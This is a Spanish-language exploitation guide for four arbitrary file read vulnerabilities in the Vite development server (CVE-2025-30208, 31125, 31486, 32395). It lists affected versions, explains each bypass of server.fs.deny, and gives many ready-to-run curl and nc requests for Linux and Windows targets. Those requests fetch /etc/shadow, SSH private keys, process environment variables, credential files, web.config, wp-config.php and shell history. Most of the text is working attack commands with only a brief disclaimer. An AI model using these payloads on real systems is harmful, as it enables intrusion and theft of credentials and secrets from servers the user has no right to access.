
Guía de explotación y script de detección automatizada para cuatro vulnerabilidades de lectura arbitraria de archivos en el servidor de desarrollo Vite (CVE-2025-30208/31125/31486/32395) con ejemplos para Linux y Windows.
Este documento resume los métodos de explotación de cuatro vulnerabilidades de lectura arbitraria de archivos en el servidor de desarrollo de Vite, incluidos ejemplos para sistemas Linux y Windows. Tenga en cuenta: solo para uso en entornos de pruebas de seguridad autorizados.
Estas cuatro vulnerabilidades en el servidor de desarrollo de Vite permiten a un atacante eludir la restricción server.fs.deny y leer archivos arbitrarios del servidor. Cada vulnerabilidad utiliza una técnica de omisión diferente, pero los principios básicos son similares.
Las cuatro vulnerabilidades requieren que se cumplan las siguientes condiciones para ser explotadas:
--host o server.host)Versiones afectadas: < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
Versiones corregidas: 6.2.3, 6.1.2, 6.0.12, 5.4.15, 4.5.10
Principio de explotación: Al agregar los parámetros de consulta ?raw?? o ?import&raw?? en la URL, se elude la restricción de ruta @fs. Esto se debe a que los separadores finales (como ?) se eliminan en varios lugares, pero no se tienen en cuenta en la expresión regular de la cadena de consulta.
Ejemplo de explotación en sistemas Linux:```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" curl "http://[目标IP]:5173/@fs/etc/passwd?import&raw??" curl "http://[目标IP]:5173/@fs/var/log/auth.log?raw??" curl "http://[目标IP]:5173/@fs/home/[用户名]/.ssh/id_rsa?raw??"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?raw??" # 如果返回文件内容,则存在漏洞
**Ejemplo de explotación en Windows:**```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?raw??"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/Desktop/credentials.txt?raw??"
curl "http://[目标IP]:5173/@fs/C:/inetpub/wwwroot/web.config?raw??"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?raw??" # 如果返回文件内容,则存在漏洞
Versiones afectadas: mismas que CVE-2025-30208
Versión corregida: misma que CVE-2025-30208
Principio de explotación: mediante el uso de métodos de importación específicos, como ?inline&import o ?raw?import, se omite la configuración server.fs.deny.
Ejemplo de explotación en Linux:```bash
curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" curl "http://[目标IP]:5173/@fs/etc/passwd?raw?import" curl "http://[目标IP]:5173/@fs/etc/shadow?inline&import" curl "http://[目标IP]:5173/@fs/proc/self/environ?inline&import"
curl "http://[目标IP]:5173/@fs/etc/passwd" # 应返回403错误 curl "http://[目标IP]:5173/@fs/etc/passwd?inline&import" # 如果返回文件内容,则存在漏洞
**Ejemplo de explotación de Windows**:```bash
# 读取任意文件
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Windows/system32/drivers/etc/hosts?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Program Files/MySQL/MySQL Server 8.0/my.ini?inline&import"
curl "http://[目标IP]:5173/@fs/C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt?inline&import"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini" # 应返回403错误
curl "http://[目标IP]:5173/@fs/C:/Windows/win.ini?inline&import" # 如果返回文件内容,则存在漏洞
Versiones afectadas: < 6.2.5, < 6.1.4, < 6.0.14, < 5.4.17, < 4.5.12
Versiones corregidas: 6.2.5, 6.1.4, 6.0.14, 5.4.17, 4.5.12
Principio de explotación:
?.svg?.wasm?init o el uso del encabezado sec-fetch-dest: script, se evita la verificación de restricciones en archivos .svg../../) para evitar las restriccionesEjemplo de explotación en Linux:```bash
curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/etc/passwd?.svg" curl "http://[目标IP]:5173/etc/nginx/nginx.conf?.svg?.wasm?init" curl "http://[目标IP]:5173/var/www/html/config.php?.svg?.wasm?init"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../etc/shadow?import&?raw" curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../var/log/auth.log?import&?raw"
curl "http://[目标IP]:5173/etc/passwd" # 应返回404错误 curl "http://[目标IP]:5173/etc/passwd?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
**Ejemplo de explotación en Windows**:```bash
# SVG绕过方法
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init"
curl -H "sec-fetch-dest: script" "http://[目标IP]:5173/C:/Windows/win.ini?.svg"
curl "http://[目标IP]:5173/C:/inetpub/wwwroot/web.config?.svg?.wasm?init"
curl "http://[目标IP]:5173/C:/Windows/Panther/Unattend.xml?.svg?.wasm?init"
# 相对路径绕过方法
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/win.ini?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Windows/system32/drivers/etc/hosts?import&?raw"
curl "http://[目标IP]:5173/@fs/x/x/x/vite-project/?/../../../../../C:/Users/Administrator/Desktop/credentials.txt?import&?raw"
# 验证漏洞是否存在
curl "http://[目标IP]:5173/C:/Windows/win.ini" # 应返回404错误
curl "http://[目标IP]:5173/C:/Windows/win.ini?.svg?.wasm?init" # 如果返回文件内容,则存在漏洞
Nota: La elusión de SVG solo es efectiva cuando el archivo es más pequeño que build.assetsInlineLimit (por defecto 4kB) y se utiliza Vite 6.0+.
Versiones afectadas: < 6.2.6, < 6.1.5, < 6.0.15, < 5.4.18, < 4.5.13
Versiones corregidas: 6.2.6, 6.1.5, 6.0.15, 5.4.18, 4.5.13
Principio de explotación: Se aprovecha la característica de la especificación HTTP 1.1 que no permite el carácter # en request-target. En los entornos de ejecución Node y Bun, estas solicitudes no son rechazadas internamente, http.IncomingMessage.url contiene #, y Vite asume que req.url no contendrá # al comprobar server.fs.deny.
Ejemplo de explotación en Linux:```bash
curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow" "http://[目标IP]:5173" curl --request-target "/@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../var/www/html/wp-config.php" "http://[目标IP]:5173"
echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/passwd HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173 echo -e "GET /@fs/Users/[用户名]/Desktop/vite-project/#/../../../../../etc/shadow HTTP/1.1\r\nHost: [目标IP]:5173\r\nConnection: close\r\n\r\n" | nc [目标IP] 5173